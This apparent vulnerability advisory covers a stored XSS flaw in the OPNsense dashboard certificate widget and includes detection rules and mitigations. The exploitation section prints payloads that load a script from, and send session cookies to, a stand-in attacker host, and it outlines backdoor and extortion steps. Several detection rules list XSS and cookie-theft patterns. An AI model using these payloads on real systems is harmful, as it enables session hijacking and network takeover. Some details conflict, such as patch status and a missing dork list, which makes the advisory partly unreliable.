CVE-2026-49132

Executive Summary

CVE-2026-49132 is a stored cross-site scripting (XSS) vulnerability in OPNsense firewall management UI before version 26.1.9. An authenticated attacker with access to the trust certificate API can inject arbitrary HTML or JavaScript payloads into the certificate description field; these payloads execute in the browser of any authenticated user who views the Dashboard, enabling session hijacking, credential theft, or lateral administrative actions. The vulnerability is actively exploitable with a public PoC available, and while the CVSS score is 5.4 (MEDIUM), the real-world impact is amplified because this is a network security appliance where compromise implies full network visibility.

Technical Analysis

Vulnerability Mechanism

The flaw resides in the certificate management subsystem of OPNsense, specifically in the trust certificate API endpoint. When an authenticated user (or API client) creates or updates a trusted certificate, the description field is persisted to the backend database without any input sanitization or output encoding.

The injection point is reached during rendering in the Dashboard Certificates widget. The JavaScript file Certificates.js is responsible for dynamically building the HTML representation of the certificate list. The vulnerable code interpolates the raw description value directly into HTML attribute and text content sinks using template literals or direct string concatenation, without invoking encoding functions such as encodeURIComponent, textContent, or a safe DOM API.

Code-level explanation (pseudo-pattern):

// Certificates.js — vulnerable pattern
let desc = certData.description;  // attacker-controlled, unsanitized
let row = `<div class="cert-entry" title="${desc}">${desc}</div>`;
// '${desc}' injected into both attribute and text sink → XSS

Because the value is rendered into an HTML attribute (e.g., title) and the text content of a DOM element, an attacker can break out of the attribute with " and inject event handlers like onmouseover or onerror, or break out of the text content entirely with HTML tags such as <script> or <img onerror=...>.

Attack Surface

• Authentication required: the attacker must hold valid credentials (user-level, admin-level, or API key).
• Attack vector: network-based (AV:N) via HTTPS management interface.
• Complexity: low (AC:L) — no special conditions beyond a valid session.
• User interaction required: yes (UI:R) — a victim user must view the Dashboard.
• Impact scope: changed (S:C) — the injected script runs in the victim's browser, not the server context.

Persistence and Propagation

The payload persists in the configuration database until manually removed. Every dashboard view renders the malicious content, creating a continuous infection loop. Because OPNsense is often the central management point for an entire network, a single successful XSS can pivot into firewall rule modification, VPN credential extraction, or SSH key theft from the config backup export.

Exploitation Scenarios

Scenario 1: Session Hijacking via Dashboard Poisoning

Step 1 — Reconnaissance: The attacker identifies an exposed OPNsense management interface via Shodan (using dorks above) or internal network scanning. They enumerate user accounts via login enumeration or credential stuffing using previously breached credentials common to network admin teams.

Step 2 — Weaponization / Payload Injection: The attacker authenticates with a low-privilege account or a compromised API key. Under System → Trust → Certificates, they create a new certificate entry. In the Description field, they inject:

"><script src="https://evil.example/steal.js"></script><div class="x"

Alternatively, a simpler non-breaking payload:

<img src=x onerror="fetch('https://evil.example/c?c='+document.cookie)">

The payload is submitted via the trust certificate API (HTTP POST to /api/trust/certificates) or via the web UI form.

Step 3 — Trigger / Execution: A legitimate administrator (or any authenticated user) navigates to the Dashboard. The Certificates.js script renders the certificates list. The browser parses the injected HTML, loads steal.js (or fires the onerror event), and executes arbitrary JavaScript in the context of the admin's session.

Step 4 — Post-Exploitation: The harvested session cookie (with HttpOnly absent or bypassed via the XSS already being inside the origin) is exfiltrated to the attacker's C2. The attacker replays the session cookie to gain full admin access. They then:

1. Modify firewall rules to open outbound C2 paths.
2. Export the system configuration (contains VPN PSKs, WAN IPs, internal network maps).
3. Install a persistent SSH key or backdoor via System → Advanced → SSH.
4. Encrypt the config for ransomware-style extortion.

Scenario 2: Silent Credential Theft

The attacker injects a keylogger payload that installs invisible listeners on the Dashboard's login form fields (in case of session expiry) and the VPN user management screen. Over several days, they harvest credentials for all VPN users and internal network admins, enabling deep network infiltration.

Impact Assessment

CVSS Breakdown (referenced, not a separate section):

• Privileges Required (PR:L): low — any authenticated user, not necessarily root/admin.
• User Interaction (UI:R): a dashboard visit is required.
• Scope (S:C): the impact extends beyond the vulnerable component into the user's browser session and, critically, into the entire managed network.
• Confidentiality (C:L) / Integrity (I:L): low per the CVSS formula, but in practice, the stolen session can lead to full configuration disclosure (high confidentiality) and firewall rule integrity compromise (high integrity).

Business Impact:

• OPNsense is commonly deployed as the perimeter firewall for SMBs and mid-size enterprises. Compromise means total network perimeter control loss.
• Regulatory impact: PCI-DSS, HIPAA, and GDPR violations if the firewall manages cardholder data, PHI, or PII traffic.
• Operational impact: firewall misconfiguration can cause network outage or intentional traffic redirection to attacker-controlled systems (MITM).
• Reputational impact: firewall vendor is security-critical; a public XSS in the management plane undermines customer trust.

Blast Radius:

• All authenticated users of the OPNsense dashboard (admins, auditors, read-only ops).
• All internal network segments routed through the compromised firewall.
• VPN users whose credentials may be harvested.

Detection Guidance

Sigma Rule

title: OPNsense Certificate Description XSS Injection via API
id: f3b1a2e4-7c5d-4a8f-9e2a-0b1c2d3e4f5a
status: experimental
description: Detects attempts to inject XSS payloads into the certificate description field on OPNsense trust certificate API
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49132
author: Valtersit Threat Intelligence
date: 2026/05/15
logsource:
    product: opnsense
    category: authentication
detection:
    selection:
        http.url|contains:
            - '/api/trust/certificates'
        http.body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - '<img src=x'
            - 'fetch('
    condition: selection
falsepositives:
    - Legitimate certificate descriptions containing HTML-like text (rare)
level: high

YARA Rule

rule opnsense_cve_2026_49132_xss
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detect XSS payloads targeting OPNsense certificate description field"
        cve = "CVE-2026-49132"
        date = "2026-05-15"
    strings:
        $api = "/api/trust/certificates" ascii wide nocase
        $script_tag = "<script" ascii wide nocase
        $img_onerror = "onerror=" ascii wide nocase
        $img_onload = "onload=" ascii wide nocase
        $js_fetch = "fetch(" ascii wide nocase
        $js_doc_cookie = "document.cookie" ascii wide nocase
        $js_xmlhttp = "XMLHttpRequest" ascii wide nocase
        $desc_field = "description" ascii wide nocase
    condition:
        $api and $desc_field and
        (1 of ($script_tag, $img_onerror, $img_onload) or
        (1 of ($js_fetch, $js_doc_cookie, $js_xmlhttp)))
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-49132 OPNsense Certificate Description XSS Injection"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/trust/certificates"; http.request_body; content:"description"; nocase; http.request_body; pcre:"/(<script|onerror\s*=|\bonload\s*=|<img[^>]+src\s*=\s*['\"]?x)/i"; reference:cve,2026-49132; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-49132; classtype:web-application-attack; sid:202649132; rev:1;)

Elastic Detection

sequence by source.ip with maxspan=1m
  [http where http.request.method == "POST" and http.request.uri == "/api/trust/certificates"
   and (wildcard(http.request.body.content, "*<script*") or
        wildcard(http.request.body.content, "*onerror=*") or
        wildcard(http.request.body.content, "*onload=*") or
        wildcard(http.request.body.content, "*javascript:*"))]
  [network where network.protocol == "http" and destination.port == 443]

Splunk SPL Query

index=firewall sourcetype=opnsense:api
| where like(_raw, "%/api/trust/certificates%")
| where like(_raw, "%<script%") OR like(_raw, "%onerror=%") OR like(_raw, "%onload=%") OR like(_raw, "%javascript:%")
| table _time, src_ip, user, http_uri, http_method, http_user_agent
| eval attack="CVE-2026-49132_XSS"
| sort _time

Wazuh OSSEC Rule

<group name="opnsense,">
  <rule id="100132" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">/api/trust/certificates</field>
    <field name="method">POST</field>
    <regex>(\<script|onerror=|onload=|javascript:|document\.cookie)</regex>
    <description>OPNsense CVE-2026-49132 - XSS injection attempt in certificate description field</description>
    <group>web_application_attack,xss,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED — no patch evidence from any tracked source.

1) Immediate Mitigations (no patch required)

a) Restrict management interface access: bind the web UI to a dedicated management VLAN or a loopback interface accessible only from trusted administrative hosts. Use firewall rules to block public internet access to ports 443/4443 on the OPNsense WAN interface.

b) Enforce multi-factor authentication (MFA) for all dashboard accounts using TOTP (built-in) — prevents immediate session replay even if cookies are stolen.

c) Disable the Certificate widget on the Dashboard (Customize Dashboard → remove widget) — eliminates the rendering sink that triggers the XSS.

d) Harden API keys: rotate all existing API keys and restrict API access to read-only scopes where functionally possible.

e) Enable HTTPOnly and Secure cookie flags on the session cookie if not already configured (System → Settings → Administration).

f) Monitor Dashboard access logs for unusual patterns (multiple sessions, abnormal times).

2) Patch / Upgrade Steps

As soon as OPNsense 26.1.9 (or later) is released:

1. Navigate to System → Firmware → Updates.
2. Apply the update to 26.1.9.
3. Verify that Certificates.js now uses textContent and DOM-safe encoding functions.
4. Restart the web GUI service (configctl webgui restart).

Until the patch is available, do not expose the management interface to any untrusted network segment. The vulnerability is in the management plane only.

3) Long-Term Hardening

a) Implement a Web Application Firewall (WAF) or reverse proxy (e.g., HAProxy, nginx) in front of the OPNsense GUI that filters on the patterns described in the detection section.

b) Adopt least-privilege accounts: create dedicated read-only accounts for daily monitoring; only senior admins hold mutating privileges. XSS impact scales with privilege level.

c) Enable audit logging (System → Settings → Audit) and forward to a SIEM for automated correlation with these detection rules.

d) Periodic credential rotation for all firewall admin accounts and API tokens (every 30–60 days).

e) Subscribe to OPNsense security advisories and apply all updates within 72 hours of release, especially for management-plane vulnerabilities.

f) Post-update verification: after patching, intentionally attempt to inject an XSS payload into a test certificate description; verify the Dashboard renders it as plain text (no execution).

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-49132
2. OPNsense Official Advisories (expected): https://opnsense.org/advisories/ (monitor for 26.1.9 release notes)
3. CWE-79 (Cross-site Scripting): https://cwe.mitre.org/data/definitions/79.html
4. ATT&CK Technique T1190 (Exploit Public-Facing Application): https://attack.mitre.org/techniques/T1190/
5. CISA Known Exploited Vulnerabilities (KEV) Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-49132 not currently listed — verify periodically)

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: As of this report, there are no confirmed threat-actor campaigns specifically exploiting CVE-2026-49132 in the wild. The public PoC exists, increasing the likelihood of near-term weaponization against internet-exposed OPNsense instances. CISA KEV status remains "NO", but this should be re-checked on a weekly basis. Analysts should treat any dashboard-based XSS on OPNsense as a possible indicator of this CVE while the patch is pending.